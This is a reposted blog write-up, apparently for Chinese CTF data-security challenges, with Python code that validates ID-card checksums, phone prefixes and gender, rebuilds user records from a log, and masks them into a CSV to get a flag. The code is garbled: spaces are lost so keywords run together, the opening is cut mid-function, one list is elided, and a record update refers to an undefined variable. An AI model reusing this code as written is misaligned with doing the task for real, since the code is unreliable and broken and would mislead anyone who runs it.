"""# 检查身份证长度是否为18位iflen(id_string)!=18:returnFalse# 检查身份证前17位是否全为数字ifnot id_string[:-1].isdigit():returnFalse# 检查身份证最后一位是否为数字或大写字母'X'ifnot(id_string[-1].isdigit()or id_string[-1].upper()=='X'):returnFalse# 身份证号码的校验码权重数组
weights =[7,9,10,5,8,4,2,1,6,3,7,9,10,5,8,4,2]# 校验码对照表
check_codes =['1','0','X','9','8','7','6','5','4','3','2']# 计算身份证号码的校验和
sum_ =sum(int(id_string[i])* weights[i]for i inrange(17))# 计算校验和的模11结果
mod = sum_ %11# 比较最后一位是否与校验码对照表匹配return id_string[-1].upper()== check_codes[mod]# 检查身份证号码中的性别信息与提供的性别是否一致defcheck_gender_consistency(id_string, gender):"""
根据身份证号码的第17位数字判断性别，并与提供的性别比较。
参数:
id_string (str): 身份证号码字符串。
gender (str): 提供的性别，'男'或'女'。
返回:
bool: 如果性别一致，返回True，否则返回False。
"""iflen(id_string)<17:returnFalsetry:# 尝试将身份证号码的第17位转换为整数
gender_digit =int(id_string[16])except ValueError:returnFalse# 根据第17位数字判断性别
derived_gender ='男'if gender_digit %2==1else'女'return derived_gender == gender
# 读取CSV文件
input_path ='/mnt/data/1.csv'
dataset = pd.read_csv(input_path, encoding='utf-8')# 定义虚假号码前缀集合
phony_prefixes ={# 虚假号码前缀列表，用于筛选无效电话号码# ...}# 处理数据，筛选出符合规则的数据行
processed_data = dataset[(dataset['username'].apply(lambda x: x.isalnum()))&# 用户名只包含字母或数字(dataset['name'].apply(lambda x:all(c.isalnum()for c in x)))&# 姓名只包含中文字符(dataset['sex'].isin(['男','女']))&# 性别为'男'或'女'(dataset['birth'].apply(lambda x:len(str(x))==8andstr(x).isdigit()))&# 出生日期为8位数字(dataset['idcard'].apply(lambda x:len(str(x))==18andstr(x)[:-1].isdigit()and verify_identity(str(x))))&# 身份证号码有效(dataset['phone'].apply(lambda x:str(x)[:3]in phony_prefixes))&# 电话号码前缀有效(dataset.apply(lambda x: check_gender_consistency(str(x['idcard']), x['sex']), axis=1))# 身份证性别与提供性别一致]# 筛选出不符合条件的数据行
invalid_entries = dataset[~dataset.index.isin(processed_data.index)]# 将不符合条件的数据写入CSV文件
output_path ='/mnt/data/invalid_data_cleaned_final_standard.csv'
invalid_entries.to_csv(output_path, index=False, encoding='utf-8')
data-analy3
题目描述：某公司在内部做了一个收集个人信息的简易网站供员工进行登记，但网站管理员在整理时误删了数据库里的数据，现在请你根据日志，还原出所有用户的个人信息，个人信息包括【username、password、name、idcard、phone】。现在请你参考附件中“个人信息数据规范文档.pdf”所示对整理出的个人信息进行数据脱敏，脱敏后保存到 csv 文件中（文件编码为 utf-8），并将其上传至检验平台，检验达标即可拿到 flag。
按顺序找到含有name等字段的数据并提取，根据其后面的成功录入、成功更新和失败来判断执行操作
如果成功，则检测各字段信息是否合法，若数据存在则更新，不存在了则插入
最后脱敏存入csv
import hashlib
import re
import urllib.parse
import binascii
import csv
# 正则表达式提取数据defvalidate_name(name):"""
校验姓名是否符合规范：只能由全中文组成。
:param name: 姓名字符串
:return: True 如果符合规范，否则 False
"""for char in name:ifnot'\u4e00'<= char <='\u9fa5':returnFalsereturnTruedefvalidate_username(username):"""
校验用户名是否符合规范：只能由数字和字母组成。
:param username: 用户名字符串
:return: True 如果符合规范，否则 False
"""if username.isalnum():returnTrueelse:returnFalsedefvalidate_phone(phone):# 检查电话号码长度是否为11位 iflen(phone)!=11ornot phone.isdigit():returnFalse# 定义的虚假号段集合
fake_prefixes ={734,735,736,737,738,739,747,748,750,751,752,757,758,759,772,778,782,783,784,787,788,795,798,730,731,732,740,745,746,755,756,766,767,771,775,776,785,786,796,733,749,753,773,774,777,780,781,789,790,791,793,799}# 提取电话号码的前三位号段
prefix =int(phone[:3])# 检查前三位号段是否属于虚假号段集合 if prefix in fake_prefixes:returnTrueelse:returnFalsedefcalculate_check_digit(id_number:str):iflen(id_number)!=18:returnFalse# 系数列表
coefficients =[7,9,10,5,8,4,2,1,6,3,7,9,10,5,8,4,2]# 校验码映射
check_digit_map ={0:'1',1:'0',2:'X',3:'9',4:'8',5:'7',6:'6',7:'5',8:'4',9:'3',10:'2'}# 提取前17位
id_number = id_number[:18]# 计算加权和
total_sum =sum(int(digit)* coef for digit, coef inzip(id_number, coefficients))# 计算余数
remainder = total_sum %11# 获取校验码return check_digit_map[remainder]==id_number[-1]defdesensitize_username(username):iflen(username)<=2:return username[0]+'*'*(len(username)-1)else:return username[0]+'*'*(len(username)-2)+ username[-1]defdesensitize_password(password):return hashlib.md5(password.encode()).hexdigest()defdesensitize_name(name):iflen(name)==2:return name[0]+'*'else:return name[0]+'*'*(len(name)-2)+ name[-1]defdesensitize_idcard(idcard):return'*'*6+ idcard[6:10]+'*'*8defdesensitize_phone(phone):return phone[:3]+'*'*4+ phone[-4:]
pattern = re.compile(r'username=(.*?)&name=(.*?)&idcard=(.*?)&phone=([^\n]+)')
c =0
kehu =[[],[],[],[],[]]withopen('error.log','r', encoding='utf-8')asfile:for line infile:match= pattern.search(line)ifmatch:
username, name_encoded, idcard, phone =match.groups()
name = urllib.parse.unquote(name_encoded)# 解码名称# print(f"Username: {username}")# print(f"Name: {name}")# print(f"ID Card: {idcard}", calculate_check_digit(idcard))# print(f"Phone: {phone}")# print()if"\\xe6\\x82\\xa8"in line:
line = line.split(": ")
info = line[3].strip().replace("\\x","").replace("\\n","")# print(info, len(info))
info = binascii.unhexlify(info).decode('utf-8')
password = line[-1].strip().strip("\\n")# print(info, password.encode())if"成功"in info:if validate_name(name)and validate_phone(phone)and validate_username(username)and calculate_check_digit(idcard):if name in kehu[2]:
postion = kehu[2].index(postion)
kehu[0][postion]= username
kehu[1][postion]= password
kehu[3][postion]= idcard
kehu[4][postion]= phone
else:
kehu[0].append(username)
kehu[1].append(password)
kehu[2].append(name)
kehu[3].append(idcard)
kehu[4].append(phone)
c+=1print(c)withopen("output.csv",'w', newline='', encoding='utf-8')as csvfile:
csvwriter = csv.writer(csvfile)
csvwriter.writerow(['username','password','name','idcard','phone'])for i inrange(c):
username, password, name, idcard, phone =[kehu[j][i]for j inrange(5)]
csvwriter.writerow([desensitize_username(username), desensitize_password(password), desensitize_name(name), desensitize_idcard(idcard), desensitize_phone(phone)])# break
本文转载自: https://blog.csdn.net/Jayjay___/article/details/141887651
版权归原作者 Jay 17 所有， 如有侵权，请联系我们删除。
版权归原作者 Jay 17 所有， 如有侵权，请联系我们删除。